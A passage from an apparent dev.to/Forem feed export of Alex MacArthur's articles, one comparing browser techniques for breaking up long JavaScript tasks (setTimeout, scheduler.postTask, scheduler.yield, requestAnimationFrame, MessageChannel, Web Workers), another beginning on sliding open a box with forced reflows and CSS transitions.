  if (index + 1 &amp;lt; items.length) {
    setTimeout(function () {
      processItems(items, index + 1);
    }, 0);
  }
}

processItems(["a", "b", "c", "d", "e", "f", "g", "h", "i", "j"]);
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There's nothing wrong with it, even today. After all, the objective is accomplished. Each item is processed on a different tick, spreading out the work. Look at this 400ms section of the flame chart. Rather than one big task, we get a bunch of smaller ones:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flyok52qhsg7yadtv8emi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flyok52qhsg7yadtv8emi.png" alt="flame chart using setTimeout and recursion" width="800" height="216"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And that leaves the UI nice and responsive. Click handlers can work, and the browser can paint updates to the screen:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh01kb7rs24doegzih0fe.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh01kb7rs24doegzih0fe.gif" width="800" height="456"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;But we're a decade past ES2015 now, and the browser offers several ways to more accomplish the same thing, all of them made a little more ergonomic with promises.&lt;/p&gt;

&lt;h2&gt;
  
  
  Async/Await &amp;amp; a Timeout
&lt;/h2&gt;

&lt;p&gt;This combination allows us to abandon recursion and streamline things a little:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;button id="button"&amp;gt;count&amp;lt;/button&amp;gt;
&amp;lt;div&amp;gt;Click count: &amp;lt;span id="clickCount"&amp;gt;0&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;div&amp;gt;Loop count: &amp;lt;span id="loopCount"&amp;gt;0&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;

&amp;lt;script&amp;gt;
  function waitSync(milliseconds) {
    const start = Date.now();
    while (Date.now() - start &amp;lt; milliseconds) {}
  }

  button.addEventListener("click", () =&amp;gt; {
    clickCount.innerText = Number(clickCount.innerText) + 1;
  });

  (async () =&amp;gt; {
    const items = new Array(100).fill(null);

    for (const i of items) {
      loopCount.innerText = Number(loopCount.innerText) + 1;

      await new Promise((resolve) =&amp;gt; setTimeout(resolve, 0));

      waitSync(50);
    }
  })();
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Much better. Just a simple &lt;code&gt;for&lt;/code&gt; loop and awaiting a promise to resolve. The rhythm on the event loop is very similar, with one key change, outlined in red:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe3b38ojyvr6ui2cqv3u0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe3b38ojyvr6ui2cqv3u0.png" width="800" height="156"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Every time you pass something to a promise's &lt;code&gt;.then()&lt;/code&gt; method, &lt;a href="https://macarthur.me/posts/navigating-the-event-loop/?ref=cms.macarthur.me#the-microtask-queue" rel="noopener noreferrer"&gt;it's executed on the microtask queue&lt;/a&gt;, that is, after everything else on the call stack is finished. It's almost always an inconsequential difference, but worth noting nonetheless. That's the only price (if we even need to call it that) have to pay for that nice refactor.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;code&gt;scheduler.postTask()&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;The &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/Scheduler?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;Scheduler interface&lt;/a&gt; is a new one, intending to be a first-class tool for scheduling tasks with a lot more control and efficiency. It's basically a better version of what we've been relying on &lt;code&gt;setTimeout()&lt;/code&gt; to do for us for decades.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const items = new Array(100).fill(null);

for (const i of items) {
  loopCount.innerText = Number(loopCount.innerText) + 1;

  await new Promise((resolve) =&amp;gt; scheduler.postTask(resolve));

  waitSync(50);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What's interesting about running our loop with &lt;code&gt;postTask()&lt;/code&gt; is the amount of time between scheduled tasks. Here's a snippet of the flame chart over 400ms again. Notice how tightly each new tasks executes after the previous one.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F61mkkd943dzvbz1a4gas.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F61mkkd943dzvbz1a4gas.png" width="800" height="183"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The default priority of &lt;code&gt;postTask()&lt;/code&gt; is "user-visible", which appears to be comparable to the priority of &lt;code&gt;setTimeout(() =&amp;gt; {}, 0)&lt;/code&gt;. Output always seems to mirror the order they're run in code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;setTimeout(() =&amp;gt; console.log("setTimeout"));
scheduler.postTask(() =&amp;gt; console.log("postTask"));

// setTimeout
// postTask

scheduler.postTask(() =&amp;gt; console.log("postTask"));
setTimeout(() =&amp;gt; console.log("setTimeout"));

// postTask
// setTimeout
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But unlike &lt;code&gt;setTimeout()&lt;/code&gt;, &lt;code&gt;postTask()&lt;/code&gt; was &lt;em&gt;built&lt;/em&gt; for scheduling, and isn't subject to the same constraints as timeouts are. Everything scheduled by it is also placed &lt;a href="https://developer.chrome.com/blog/introducing-scheduler-yield-origin-trial?ref=cms.macarthur.me#enter_scheduleryield" rel="noopener noreferrer"&gt;at the &lt;em&gt;front&lt;/em&gt; of the task queue&lt;/a&gt;, preventing other items from budging in front &amp;amp; delaying execution, especially when being queued in such a rapid fashion.&lt;/p&gt;

&lt;p&gt;I can't say for certain, but I think &lt;code&gt;postTask()&lt;/code&gt; is just a well-oiled machine with one purpose, and the flame chart reflects that. That said, it &lt;em&gt;is&lt;/em&gt; possible to &lt;a href="https://wicg.github.io/scheduling-apis/?ref=cms.macarthur.me#dom-taskpriority-user-blocking" rel="noopener noreferrer"&gt;maximize the priority for tasks&lt;/a&gt; scheduled with &lt;code&gt;postTask()&lt;/code&gt; even further:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;scheduler.postTask(() =&amp;gt; {
  console.log("postTask");
}, { priority: "user-blocking" });
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The "user-blocking" priority is intended for tasks critical to the user's experience on the page (such as responding to user input). As such, it's probably not worth using for just breaking up big workloads. After all, we're trying to yield to the event loop so other work can get done. In fact, it may even be worth setting that priority even lower by using "background":&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;scheduler.postTask(() =&amp;gt; {
  console.log("postTask - background");
}, { priority: "background" });

setTimeout(() =&amp;gt; console.log("setTimeout"));

scheduler.postTask(() =&amp;gt; console.log("postTask - default"));

// setTimeout
// postTask - default
// postTask - background
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Unfortunately, the entire Scheduler interface comes with a bummer: &lt;a href="https://caniuse.com/mdn-api_scheduler?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;it's not that well-supported&lt;/a&gt; across all browsers yet. But &lt;a href="https://github.com/GoogleChromeLabs/scheduler-polyfill?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;it is easy enough to polyfill&lt;/a&gt; with existing asynchronous APIs. So, at least a strong portion of users would benefit from it.&lt;/p&gt;

&lt;h3&gt;
  
  
  What about &lt;code&gt;requestIdleCallback()&lt;/code&gt;?
&lt;/h3&gt;

&lt;p&gt;If it's good to surrender priority like this, &lt;code&gt;requestIdleCallback()&lt;/code&gt; might've come to mind. It's designed to execute its callback whenever there's an "idle" period. The problem with it is that there's no technical guarantee when or if it'll run. You &lt;em&gt;could&lt;/em&gt; set a &lt;code&gt;timeout&lt;/code&gt; when it's invoked, but even then, you'll still need to reckon with the fact that &lt;a href="https://caniuse.com/requestidlecallback?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;Safari still doesn't support the API at all&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;On top of that, &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/requestIdleCallback?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;MDN encourages a timeout&lt;/a&gt; over &lt;code&gt;requestIdleCallback()&lt;/code&gt; for required work, so I'd probably just steer clear of it for this purpose altogether.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;code&gt;scheduler.yield()&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;yield()&lt;/code&gt; method on the Scheduler interface is a smidge more special than the other approaches we've covered because it was made for this exact sort of scenario. &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/Scheduler/yield?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;From MDN&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The &lt;code&gt;yield()&lt;/code&gt; method of the &lt;code&gt;Scheduler&lt;/code&gt; interface is used for yielding to the main thread during a task and continuing execution later, with the continuation scheduled as a prioritized task... This allows long-running work to be broken up so the browser stays responsive.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That becomes even more clear when you use it for the first time. There's no longer a need to return &amp;amp; resolve our own promise. Just wait for the one provided:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const items = new Array(100).fill(null);

for (const i of items) {
  loopCount.innerText = Number(loopCount.innerText) + 1;

  await scheduler.yield();

  waitSync(50);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This cleans up the flame chart a bit too. Notice how there's one less item in the stack that needs to be identified.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmpe4ytlqhgoumpyf9hni.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmpe4ytlqhgoumpyf9hni.png" alt="flame chart with one less row" width="800" height="146"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The API for this is so nice that you can't help but start seeing opportunities to use it all over. Consider a checkbox that kicks of an expensive task on &lt;code&gt;change&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;document
  .querySelector('input[type="checkbox"]')
  .addEventListener("change", function (e) {
    waitSync(1000);
});
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As it is, clicking the checkbox causes the UI to freeze for a second.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmzfe2oep0em345j7o0fp.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmzfe2oep0em345j7o0fp.gif" width="770" height="366"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;But now, let's immediately yield control to the browser, giving it a chance to update that UI after the click.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;document
  .querySelector('input[type="checkbox"]')
  .addEventListener("change", async function (e) {
+ await scheduler.yield();

    waitSync(1000);
});
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And look at that. Nice &amp;amp; snappy.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6d39viallmf9yasist8x.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6d39viallmf9yasist8x.gif" width="800" height="332"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As with the rest of the Scheduler interface, this one lacks solid browser support, but still simple to polyfill:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;globalThis.scheduler = globalThis.scheduler || {};
globalThis.scheduler.yield = 
  globalThis.scheduler.yield || 
  (() =&amp;gt; new Promise((r) =&amp;gt; setTimeout(r, 0)));
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  &lt;code&gt;requestAnimationFrame()&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;requestAnimationFrame()&lt;/code&gt; API is designed to schedule work around the browser's repaint cycle. Because of that, it's very precise in when it schedules callbacks – right before the next paint – which likely explains why this flame chart's tasks seated so tightly together. Animation frame callbacks &lt;a href="https://html.spec.whatwg.org/multipage/imagebitmap-and-animations.html?ref=cms.macarthur.me#list-of-animation-frame-callbacks" rel="noopener noreferrer"&gt;effectively have their own "queue"&lt;/a&gt; that runs at a very particular time in the rendering phase, meaning it's difficult for other tasks to get in the way to push them back in time.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmkj7hpce7ub8j8dkr1w3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmkj7hpce7ub8j8dkr1w3.png" width="800" height="166"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;However, doing expensive work around repaints also appears to compromise rendering. Look at the frames during that same time period. The yellow/lined sections indicate a "partially-presented frame":&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frnmp9wz867rfo1qhx5zx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frnmp9wz867rfo1qhx5zx.png" alt="partially-presented frames in the flame chart" width="800" height="85"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This didn't occur with the other task-breaking tactics. Considering this and the fact that animation frame callbacks &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/requestAnimationFrame?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;usually don't even execute&lt;/a&gt; unless the tab is active, I'd probably avoid this option too.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;code&gt;MessageChannel()&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;You don't see this one used a whole lot in this way, but when you do, it's often chosen as a lighter alternative to an zero-delay timeout. Rather than asking the browser to queue a timer and schedule the callback, instantiate a channel and immediately post a message to it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;for (const i of items) {
  loopCount.innerText = Number(loopCount.innerText) + 1;

  await new Promise((resolve) =&amp;gt; {
    const channel = new MessageChannel();
    channel.port1.onmessage = resolve();
    channel.port2.postMessage(null);
  });

  waitSync(50);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;By the looks of the flame chart, there might be something to say for performance. There's not much delay between each scheduled task:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpwnpwtsom2k01a5gt7t1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpwnpwtsom2k01a5gt7t1.png" width="800" height="163"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Web Workers
&lt;/h2&gt;

&lt;p&gt;We've said otherwise, but if you &lt;em&gt;can&lt;/em&gt; get away with performing your work off of the main thread, a web worker should undoubtedly be your first choice. You technically don't even need a separate file to house your worker code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const items = new Array(100).fill(null);
const workerScript = `
  function waitSync(milliseconds) {
    const start = Date.now();
    while (Date.now() - start &amp;lt; milliseconds) {}
  }

  self.onmessage = function(e) {
    waitSync(50);
    self.postMessage('Process complete!');
  }
`;

const blob = new Blob([workerScript], { type: "text/javascipt" });
const worker = new Worker(window.URL.createObjectURL(blob));

for (const i of items) {
  worker.postMessage(items);

  await new Promise((resolve) =&amp;gt; {
    worker.onmessage = function (e) {
      loopCount.innerText = Number(loopCount.innerText) + 1;
      resolve();
    };
  });
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Just look how clear the main thread is when the work for individual items is performed elsewhere. Instead, it's all pushed down below under the "Worker" section, leaving &lt;a href="https://www.youtube.com/watch?v=ulwUkaKjgY0&amp;amp;ref=cms.macarthur.me" rel="noopener noreferrer"&gt;so much room for activities&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7ppjtfov9wg7z91yfuzq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7ppjtfov9wg7z91yfuzq.png" width="800" height="300"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The scenario we've been using requires progress to be reflected in the UI, and so we're still passing individual items to the worker &amp;amp; waiting for a response. But if we could pass that entire list of items to the worker at once, we certainly should. That'd cut overhead even more.&lt;/p&gt;

&lt;h2&gt;
  
  
  How Do I Choose?
&lt;/h2&gt;

&lt;p&gt;The approaches we've covered here are not exhaustive, but I think they do a good job at representing the various trade-offs you should consider when breaking up long tasks. But still, depending on the need, I'd probably only reach for a few of these myself.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;If I can do the work away from the main thread,&lt;/strong&gt; I'd choose a web worker, hands-down. They're very well supported across browsers, and their entire purpose is to offload work from the main thread. The only downside is their clunky API, but that's eased by tools like Workerize and &lt;a href="https://v3.vitejs.dev/guide/features.html?ref=cms.macarthur.me#import-with-query-suffixes" rel="noopener noreferrer"&gt;Vite's built-in worker imports&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;If I need a dead-simple way to break up tasks,&lt;/strong&gt; I'd go for &lt;code&gt;scheduler.yield()&lt;/code&gt;. I don't love how I'd also need to polyfill it for non-Chromium users, but the &lt;a href="https://gs.statcounter.com/browser-market-share?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;majority of people&lt;/a&gt; would benefit from it, so I'm up for the extra bit of baggage.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;If I need very fine-grained control over how chunked work is prioritized&lt;/strong&gt; , &lt;code&gt;scheduler.postTask()&lt;/code&gt; would be my first choice. It's impressive &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/Scheduler/postTask?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;how deep you can go&lt;/a&gt; in tailoring that thing to your needs. Priority control, delays, cancelling tasks, and more are all included in this API, even if, like &lt;code&gt;.yield()&lt;/code&gt;, it needs to be polyfilled for now.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;If browser support and reliability are of the utmost importance&lt;/strong&gt; , I'd choose &lt;code&gt;setTimeout()&lt;/code&gt;. It's a legend that's not going anywhere, even as new, flashy alternatives hit the scene.&lt;/p&gt;

&lt;h2&gt;
  
  
  What'd I Miss?
&lt;/h2&gt;

&lt;p&gt;I'll admit – I've never used a few of these in a real-life application, and so it's very possible there are some blindspots in what you read here. If you can speak into the topic further, even if it's insight about one of the specific approaches, you're more than welcome to do so.&lt;/p&gt;

</description>
      <category>performance</category>
      <category>javascript</category>
    </item>
    <item>
      <title>Using Forced Reflows, the Event Loop, and the Repaint Cycle to Slide Open a Box</title>
      <dc:creator>Alex MacArthur</dc:creator>
      <pubDate>Mon, 06 Jan 2025 04:58:35 +0000</pubDate>
      <link>https://forem.com/alexmacarthur/using-forced-reflows-the-event-loop-and-the-repaint-cycle-to-slide-open-a-box-1ppo</link>
      <guid>https://forem.com/alexmacarthur/using-forced-reflows-the-event-loop-and-the-repaint-cycle-to-slide-open-a-box-1ppo</guid>
      <description>&lt;p&gt;If you're reading this, there's a more-than-zero chance you've used a CSS transition on &lt;code&gt;max-height&lt;/code&gt; to slide open a box. You reached for &lt;code&gt;max-height&lt;/code&gt; instead of &lt;code&gt;height&lt;/code&gt; because the former will work when the box is sitting at its natural, unspecified height. The latter will not. As long as your &lt;code&gt;max-height&lt;/code&gt; is greater than the actual height of the box, you're fine. In many cases, there’s no issue with this trick.&lt;/p&gt;

&lt;p&gt;Still, I've always considered it a "trick" because it's not very deterministic. You're taking a best guess at what the "open" height should be, which could lead to problems. Example: here's a box, a little CSS, and some JavaScript to apply a new &lt;code&gt;max-height&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;button id="button"&amp;gt;Open Box&amp;lt;/button&amp;gt;

&amp;lt;div id="box"&amp;gt;
  &amp;lt;svg&amp;gt;⭐&amp;lt;/svg&amp;gt;
&amp;lt;/div&amp;gt;

&amp;lt;style&amp;gt;
  #box {
    max-height: 0;
    overflow: hidden;
    transition: max-height 0.25s;
  }

  #box.is-open {
    max-height: 300px;
  }
&amp;lt;/style&amp;gt;

&amp;lt;script&amp;gt;
  const box = document.getElementById('box');
  const button = document.getElementById('button');

  button.addEventListener('click', () =&amp;gt; {
    box.classList.toggle('is-open');
  });
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you're not careful, the "open" height may not be large enough based on the box's contents. You could end up clipping it. Or, if you overshoot, the browser will execute your transition duration based on the &lt;code&gt;max-height&lt;/code&gt; – not &lt;em&gt;actual&lt;/em&gt; height, causing it to appear faster than intended.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnbhw1l8pe0b2p2lvsk3x.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnbhw1l8pe0b2p2lvsk3x.gif" alt="opening a box with too short of a max-height" width="598" height="670"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fom30vy8lsyi6eqk67ak1.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fom30vy8lsyi6eqk67ak1.gif" alt="opening a box with too large of a max-height" width="598" height="670"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Good news: there's a way to avoid this guessing game (actually, there are many, but we're exploring this one). It just requires us to measure and resize &lt;em&gt;at precisely the right time&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Calculating the Rendered Box Height
&lt;/h2&gt;

&lt;p&gt;Let's start with this setup: a totally hidden box, a button some CSS, and a click event listener. Let’s get it to slide it open.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;button id="openButton"&amp;gt;Open&amp;lt;/button&amp;gt;

&amp;lt;div id="box"&amp;gt;
  &amp;lt;!-- box contents --&amp;gt; 
&amp;lt;/div&amp;gt;

&amp;lt;style&amp;gt;
#box {
  display: none;
  overflow: hidden;
  transition: height 1s;
}
&amp;lt;/style&amp;gt;

&amp;lt;script&amp;gt;
  const openButton = document.getElementById('openButton');
  const box = document.getElementById('box');

  openButton.addEventListener('click', () =&amp;gt; {
    // Magic here. 
  });
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Before we can get the box’s “open” height, we'll need to allow the browser to render it as if it's open &lt;em&gt;without&lt;/em&gt; painting it to the screen (we don't want any odd UI jerking). Fortunately, the browser's event loop makes that possible. Let's make it visible and get that height.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;openButton.addEventListener('click', () =&amp;gt; {
  box.style.display = 'block';
  const targetHeight = box.clientHeight;
});
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The moment we ask for &lt;code&gt;clientHeight&lt;/code&gt;, a DOM reflow/recalculation is &lt;a href="https://web.dev/articles/avoid-large-complex-layouts-and-layout-thrashing?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;&lt;em&gt;immediately, synchronously forced&lt;/em&gt;&lt;/a&gt;, causing elements on the page to be remeasured and repositioned. This makes it possible to get the rendered height before any pixels change on the screen. In fact, it's &lt;em&gt;impossible&lt;/em&gt; for the browser to make anything visually change until that click handler is finished and control over the event loop is yielded back to the browser. That's the gift and curse of JavaScript – the event loop only allows &lt;em&gt;one&lt;/em&gt; single thing to happen at a time.&lt;/p&gt;

&lt;p&gt;Let's keep going. Next, we'll set the "starting" state of our animation by setting its height to &lt;code&gt;0px&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;openButton.addEventListener('click', () =&amp;gt; {
  box.style.display = 'block';
  const targetHeight = box.clientHeight;
